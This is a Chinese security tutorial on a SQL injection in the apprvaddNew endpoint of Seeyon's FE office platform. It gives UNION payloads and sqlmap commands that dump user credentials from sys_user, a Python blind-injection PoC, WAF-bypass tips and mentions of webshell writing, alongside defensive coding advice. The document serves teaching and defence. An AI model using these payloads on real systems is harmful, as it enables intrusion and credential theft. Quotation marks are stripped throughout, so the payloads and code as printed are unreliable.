致远FE平台apprvaddNew接口SQL注入漏洞挖掘与防御实践

发布时间:2026/6/25 18:23:00
致远FE平台apprvaddNew接口SQL注入漏洞挖掘与防御实践 1. 项目概述一次典型的业务接口漏洞挖掘之旅最近在梳理一些主流协同办公系统的安全性致远互联的FE协作办公平台自然进入了视野。这类系统通常承载着企业核心的审批、流程和数据一旦出现安全问题影响面会非常广。在针对其移动端或前端业务接口进行测试时我重点关注了那些处理动态数据、与数据库交互频繁的功能点。apprvaddNew这个接口从命名上就非常值得玩味——“approve add new”直译就是“审批新增”这通常意味着它会处理新建审批流程或相关数据的提交。经验告诉我这类“增删改”操作的后端逻辑如果开发人员对用户输入过滤不严很容易成为SQL注入的突破口。果不其经过一番测试在这个接口中发现了可利用的注入点。这不是一个复杂的高深漏洞但它非常典型清晰地展示了如何在看似正常的业务参数中埋下安全隐患。今天我就把这个从漏洞发现到验证POC编写的完整过程拆解一遍无论是安全研究人员进行学习复现还是开发人员引以为戒相信都能从中获得直观的收获。2. 漏洞原理与背景环境搭建2.1 SQL注入漏洞的核心原理再审视在深入这个具体漏洞之前我们有必要把SQL注入的原理掰开揉碎讲清楚这能帮助我们理解后续每一个测试步骤的意图。所谓SQL注入本质上就是“数据”被当成了“代码”来执行。应用程序为了完成某个功能比如查询用户信息、新增一条记录会拼接一条SQL语句发送给数据库。如果拼接的过程中来自用户的可控输入没有被妥善地处理攻击者就能精心构造输入改变原有SQL语句的语义。举个例子一个正常的登录查询可能是这样的SELECT * FROM users WHERE username ‘用户输入的用户名’ AND password ‘用户输入的密码’。如果用户在用户名字段输入admin’ --拼接后的语句就变成了SELECT * FROM users WHERE username ‘admin’ --’ AND password ‘xxx’。在SQL中--是注释符这意味着后面的密码检查条件被注释掉了攻击者就能以admin身份登录而无需知道密码。apprvaddNew接口的漏洞就属于这种类型。它可能接收来自前端如APP、浏览器提交的JSON或表单数据其中包含审批流程相关的各种字段如标题、内容、审批人ID等。后端代码在构造INSERT或UPDATE语句时直接将某些字段的值拼接进了SQL字符串而没有使用参数化查询Prepared Statement或进行严格的转义过滤从而留下了注入的可能性。注意很多开发人员会使用一些简单的字符串替换如过滤单引号来“防御”注入这是远远不够的。攻击手法包括但不限于编码绕过、注释符截断、利用数据库特性如MySQL的/*!内联注释、布尔盲注、时间盲注等。最根本、最有效的防御方式就是始终使用参数化查询。2.2 测试环境准备与目标分析要复现漏洞首先需要一个测试目标。由于涉及实际产品强烈建议所有测试都在你自己搭建的、合法的测试环境或获得明确授权的靶场中进行。切勿对互联网上未经授权的系统进行测试那是违法行为。获取测试环境你可以从官方渠道下载致远互联FE协作办公平台的试用版或旧版本如果该漏洞存在于特定版本。通常这类系统需要部署在Tomcat、WebLogic等Java应用服务器上并连接MySQL或Oracle数据库。详细部署步骤请参考官方文档。环境配置要点数据库安装MySQL并记录下数据库的地址、端口、名称、用户名和密码。在部署FE平台时这些信息需要正确配置。应用服务器以Tomcat为例将平台的WAR包部署到webapps目录下启动Tomcat服务。访问系统通过浏览器访问http://你的服务器IP:端口/fe之类的地址完成系统的初始化安装和配置。定位目标接口我们需要找到apprvaddNew接口的访问路径和调用方式。通常有以下几种方法前端代码分析使用浏览器开发者工具F12在提交新建审批的页面进行抓包Network标签页观察提交的请求。请求的URL很可能就包含了接口路径例如/seeyon/apprv/addNew.do或/api/apprv/addNew等变体。接口文档如果能有幸获得开发或测试用的API文档那将是最直接的途径。目录扫描与猜测使用工具如Burp Suite的Intruder模块、dirsearch等对常见路径进行爆破猜测但这效率较低。 通过抓包我们假设确定了接口地址为http://target.com/seeyon/apprv/addNew.action请求方式为POST数据格式为application/x-www-form-urlencoded或application/json。3. 漏洞探测与手工注入验证确定了接口和调用方式我们就可以开始手工探测注入点了。这个过程就像医生问诊一步步试探系统的“反应”。3.1 初步探测与注入点确认首先我们使用Burp Suite或类似的HTTP代理工具拦截正常的“新建审批”请求。假设拦截到的请求体如下title测试审批content这是一条测试内容approverId123我们的目标是找出哪个参数可能存在注入。通常数字型参数如ID类和字符串型参数如标题、内容都需要测试。第一步基础探测我们修改approverId参数尝试添加SQL片段。将请求改为title测试审批content这是一条测试内容approverId123提交请求观察响应。如果页面返回了数据库错误信息如MySQL的“You have an error in your SQL syntax...”或者页面显示与正常情况有明显差异如空白、500错误那么这里就可能存在注入点。如果没有任何变化可以尝试在参数后添加and 11和and 12观察页面返回内容是否不同。如果‘1’‘1’返回正常‘1’‘2’返回异常如无数据则进一步确认了注入。第二步判断数据库类型通过错误信息有时可以直接判断如包含“MySQL”、“Oracle”字样。也可以通过特定数据库的函数来探测。例如在注入点后添加and sleep(5)--MySQL/PostgreSQL的延时函数如果页面响应延迟约5秒则可能是MySQLWAITFOR DELAY 0:0:5--MSSQL的延时指令或者使用and (select count(*) from information_schema.tables)0--这类查询观察是否成功information_schema是MySQL的特性。假设我们通过错误信息确认是MySQL数据库。3.2 信息获取与联合查询利用确认注入点并知道是MySQL后我们可以尝试获取数据库信息。这里以联合查询Union Select为例这是一种效率较高的注入方式但前提是需要知道前后查询的列数相同。第一步判断列数使用order by子句。逐步增加数字直到页面报错。approverId123 order by 1-- approverId123 order by 2-- approverId123 order by 3-- ...假设order by 5正常order by 6报错说明当前查询的列数是5列。第二步确定回显点联合查询需要知道我们查询的结果会在页面的哪个位置显示出来。构造PayloadapproverId-123 union select 1,2,3,4,5--注意这里将原查询条件改为一个负值或不存在的值如-123是为了让原查询不返回结果从而页面直接显示我们union select的结果。观察页面看数字“1”、“2”、“3”等出现在页面的什么位置例如标题处显示了2内容处显示了3。这些位置就是我们可以回显数据的地方。第三步获取数据库信息假设数字2和3的位置可以回显。我们可以构造Payload获取当前数据库名、用户等信息approverId-123 union select 1,database(),user(),4,5--这样页面回显位置就会显示当前数据库的名称和数据库用户。假设我们得到数据库名为fe_oa。第四步获取表名和列名利用MySQL的information_schema数据库这是存储元数据的地方。approverId-123 union select 1,table_name,column_name,4,5 from information_schema.columns where table_schemadatabase() limit 0,1--通过修改limit子句的偏移量如limit 1,1、limit 2,1可以逐个爆出当前数据库中的所有表名和列名。你需要从中寻找敏感表如sys_user用户表、apprv_flow审批流程表、hr_employee员工信息表等。第五步提取敏感数据假设我们找到了用户表sys_user它包含login_name、real_name、password可能是加密的等字段。构造Payload提取数据approverId-123 union select 1,login_name,password,4,5 from sys_user limit 0,1--这样我们就成功通过注入获取到了系统的用户凭证即使是加密的也可能被破解或用于其他攻击。实操心得在实际测试中页面可能没有明显的数字回显点这就是“盲注”的场景。你需要根据页面响应内容的变化、响应时间的长短时间盲注来一点点推断数据。这个过程非常耗时通常需要借助自动化工具。4. 自动化利用与POC编写手工注入虽然能让我们透彻理解原理但效率太低尤其对于盲注。这时就需要编写或使用自动化脚本也就是我们常说的POCProof of Concept。4.1 使用Sqlmap进行快速验证Sqlmap是检测和利用SQL注入的顶级自动化工具。在已经手工确认存在注入点后我们可以用Sqlmap来快速获取数据验证漏洞的危害性。假设我们已经通过Burp Suite将含有漏洞参数的请求保存到了文件request.txt中。在命令行中执行sqlmap -r request.txt --batch --dbs-r request.txt: 从文件中加载HTTP请求。--batch: 以非交互模式运行自动选择默认选项。--dbs: 枚举数据库管理系统中的所有数据库。如果漏洞存在Sqlmap会很快列出所有数据库名。之后你可以指定数据库进行进一步的枚举sqlmap -r request.txt --batch -D fe_oa --tables # 枚举fe_oa数据库的所有表 sqlmap -r request.txt --batch -D fe_oa -T sys_user --columns # 枚举sys_user表的所有列 sqlmap -r request.txt --batch -D fe_oa -T sys_user -C login_name,password --dump # 导出指定列的数据Sqlmap的强大之处在于它能自动识别注入类型、数据库类型并采用最优的技术进行注入大大提升了效率。4.2 编写简易Python POC脚本虽然Sqlmap功能强大但有时我们需要一个更轻量、更定制化的脚本来验证漏洞或者集成到自己的扫描器中。下面是一个针对该漏洞点的简易Python POC脚本框架它基于布尔盲注的原理假设页面内容在查询成功和失败时有可区分的差异。import requests import sys import time def check_vulnerability(target_url, param_name, param_value): 检测目标参数是否存在SQL注入漏洞基于布尔盲注原理 headers { User-Agent: Mozilla/5.0, Content-Type: application/x-www-form-urlencoded } # 测试payload如果条件为真页面应包含特定文本如“提交成功” # 这里需要根据实际目标页面的成功/失败特征进行修改 true_payload f{param_name}{param_value} AND 11 false_payload f{param_name}{param_value} AND 12 data_true {param_name: true_payload} data_false {param_name: false_payload} try: resp_true requests.post(target_url, datadata_true, headersheaders, timeout10) resp_false requests.post(target_url, datadata_false, headersheaders, timeout10) # 关键定义判断条件。例如正常页面包含“success”错误页面不包含或包含“error” # 你需要根据实际响应内容调整这里的判断逻辑 success_keyword 提交成功 if success_keyword in resp_true.text and success_keyword not in resp_false.text: print(f[] 目标 {target_url} 的参数 {param_name} 可能存在SQL注入漏洞) return True else: print(f[-] 目标 {target_url} 的参数 {param_name} 可能不存在注入或判断条件需调整。) print(f 真条件响应长度: {len(resp_true.text)} 假条件响应长度: {len(resp_false.text)}) # 建议打印部分响应内容以便分析 # print(resp_true.text[:200]) # print(resp_false.text[:200]) return False except Exception as e: print(f[!] 请求过程中发生错误: {e}) return False if __name__ __main__: if len(sys.argv) ! 4: print(用法: python poc.py 目标URL 参数名 参数基础值) print(示例: python poc.py http://target.com/apprv/addNew.action approverId 100) sys.exit(1) target sys.argv[1] param sys.argv[2] base_value sys.argv[3] is_vuln check_vulnerability(target, param, base_value) if is_vuln: # 可以在这里扩展进行更深入的信息获取如当前用户、数据库名等 print([] 漏洞验证成功可进行进一步利用。) else: print([-] 漏洞验证失败。)脚本使用与调整说明核心逻辑脚本通过发送两个精心构造的请求一个条件恒真一个条件恒假并比较两个响应的差异如特定关键词是否存在、响应长度是否不同来判断是否存在注入。关键调整success_keyword变量至关重要。你必须先手动发送一个正常的成功请求和一个肯定会失败的请求如参数值改为一个不存在的ID观察并找出能稳定区分成功和失败页面的特征字符串或长度阈值。这个特征可能是“操作成功”、“提交成功”等文字也可能是某个HTML标签、JSON字段的存在与否。扩展性这个脚本只是一个最基础的布尔盲注检测框架。你可以在此基础上扩展实现自动化的数据提取功能例如逐位爆破当前数据库名的每个字符。这需要更复杂的逻辑通常涉及二分法或遍历比较。注意事项编写POC脚本一定要谨慎。务必在授权环境下测试并且要控制请求频率避免对目标系统造成拒绝服务DoS影响。脚本中的异常处理和超时设置也很重要。5. 漏洞深度利用与防御思考5.1 漏洞可能造成的实际影响成功利用这个apprvaddNew接口的SQL注入漏洞攻击者能做的远不止“拖个库”那么简单。结合协同办公系统的业务特性其危害可能被逐级放大核心数据泄露这是最直接的。可以获取所有用户账号包括管理员、加密密码、员工真实姓名、手机号、邮箱、部门等敏感个人信息。如果密码加密强度不足如简单的MD5可能被破解导致账号被接管。权限提升与越权操作通过修改数据库攻击者可以将自己的账号权限提升为系统管理员或者修改审批流程的配置例如将自己添加为某个关键流程的审批人。业务流程篡改审批系统依赖于数据库中的流程定义、节点和规则。攻击者可以通过注入修改这些数据从而绕过正常的审批环节让不合规的申请自动通过或者恶意卡住正常流程。获取服务器权限GetShell如果数据库用户权限较高如root或具有FILE_PRIV权限并且应用服务器与数据库在同一机器上攻击者可能利用SQL注入向服务器写入Webshell。例如在MySQL中可以尝试使用SELECT ... INTO OUTFILE将一段PHP代码写入网站的可访问目录。一旦成功攻击者就获得了服务器的控制权危害等级急剧上升。作为跳板攻击内网办公系统通常部署在内网并可能与其他内部系统如ERP、CRM有连接或共享认证。攻破办公系统后攻击者可能以此为跳板进一步探测和攻击内网其他更核心的系统。5.2 从开发与运维角度的根本性防御复现漏洞不是为了攻击而是为了更深刻地理解其成因并构建有效的防御。对于开发人员和运维人员以下几点是必须牢记的黄金法则使用参数化查询预编译语句这是防御SQL注入的第一道、也是最坚固的防线。无论是使用Java的PreparedStatement、.NET的SqlParameter还是PHP的PDO其原理都是将SQL语句的“结构”与“数据”分离。数据库先编译带占位符的SQL逻辑再将用户输入的数据作为纯“参数”传入从根本上杜绝了数据被解释为代码的可能。错误示例拼接String sql “INSERT INTO apprv (title) VALUES (‘“ userTitle “‘)”;正确示例参数化PreparedStatement stmt conn.prepareStatement(“INSERT INTO apprv (title) VALUES (?)”); stmt.setString(1, userTitle);实施最小权限原则为Web应用连接数据库的账户分配最小必要的权限。通常只授予其对应业务表如apprv_*,sys_user的SELECT、INSERT、UPDATE、DELETE权限坚决不要授予DROP、CREATE、FILE、GRANT等高级权限。这样即使发生注入攻击者能造成的破坏也有限。严格的输入验证与过滤在参数化查询的基础上增加业务逻辑层的验证。例如对于approverId验证其必须为数字对于标题、内容限制其长度和字符集如只允许中英文、数字和常见标点。使用白名单机制比黑名单过滤单引号等要可靠得多。安全的错误处理切勿将详细的数据库错误信息直接返回给前端用户。应配置自定义的错误页面在生产环境中记录详细的错误日志到后端文件或日志系统而给用户只返回友好的、模糊的错误提示如“系统繁忙请稍后再试”。这可以避免向攻击者泄露数据库类型、表结构等关键信息。定期安全审计与漏洞扫描将安全测试纳入开发流程DevSecOps。对代码进行定期的静态应用安全测试SAST和动态应用安全测试DAST。对于已上线的系统使用专业的Web漏洞扫描器进行定期巡检以及时发现类似apprvaddNew这样的接口漏洞。框架与组件安全使用成熟的、有良好安全记录的开发框架如Spring Security、Shiro并确保框架本身及其依赖的组件保持最新版本及时修复已知的安全漏洞。6. 复现过程中的常见问题与排查在实际复现过程中你可能会遇到各种问题。这里记录了几个我踩过的坑和对应的解决办法。问题现象可能原因排查与解决思路手工测试时无论输入什么页面都返回相同的错误或空白。1. 注入点判断错误参数本身不参与SQL拼接。2. 后端有全局的输入过滤或WAF拦截。3. 请求格式错误如Content-Type不对。1. 换其他参数尝试或使用更隐蔽的测试Payload如and 11和and 12观察细微差异。2. 尝试对Payload进行URL编码、双重URL编码、Unicode编码等绕过。3. 使用Burp Repeater模块仔细比对正常请求和你修改后的请求头、请求体格式是否完全一致。Sqlmap跑不出来注入点但手工测试有反应。1. Sqlmap的默认检测等级和风险等级不够。2. 注入点是盲注且页面差异特征不明显。3. 存在Token、Cookie等动态防CSRF机制。1. 尝试提高等级--level3 --risk3。2. 使用--techniqueB指定使用布尔盲注技术并配合--string或--not-string指定判断条件。3. 使用--csrf-token或--csrf-url参数处理CSRF令牌。联合查询Union Select时页面没有显示我们select的数字。1. 原查询结果集不为空union的结果被挤到了后面。2. 页面只显示了查询结果的第一行。3. 数字被页面模板过滤或转换了。1. 确保原查询条件使其返回空结果如id-999。2. 尝试在union select的字段中使用更明显的内容如version、user()。3. 查看网页源代码看数字是否出现在HTML注释或JS变量中。时间盲注测试时sleep函数没有生效。1. 数据库用户权限不足无法执行sleep函数。2. 后端有查询超时限制sleep被中断。3. 目标不是MySQLsleep语法不对。1. 尝试其他数据库的延时函数如MSSQL的WAITFOR DELAY。2. 减少sleep时间如sleep(2)。3. 使用基于布尔盲注的Payload进行验证。POC脚本运行时无法正确判断真假条件。1. 定义的“成功关键词”不准确或不存在。2. 页面响应是动态的每次都有细微差别。3. 请求触发了风控返回了验证码或拦截页面。1. 手动多测试几次用Burp对比响应寻找更稳定的判断特征如某个固定HTML元素的ID、某个JSON字段的值。2. 改用响应长度len(resp.text)作为判断依据设置一个合理的长度差阈值。3. 在脚本中添加请求头模拟更真实的浏览器行为并适当降低请求频率。最后再分享一个小技巧在测试这类业务系统时不要只盯着明显的“id”、“name”参数。多关注那些看起来像“配置项”、“扩展字段”、“查询条件”的参数它们往往由不同的开发人员编写安全水平参差不齐更容易成为突破口。每一次成功的漏洞复现不仅是安全技能的提升更是对“安全左移”和“安全编码”理念的一次深刻重温。对于开发者而言理解攻击者的思路是写出更健壮代码的最佳途径之一。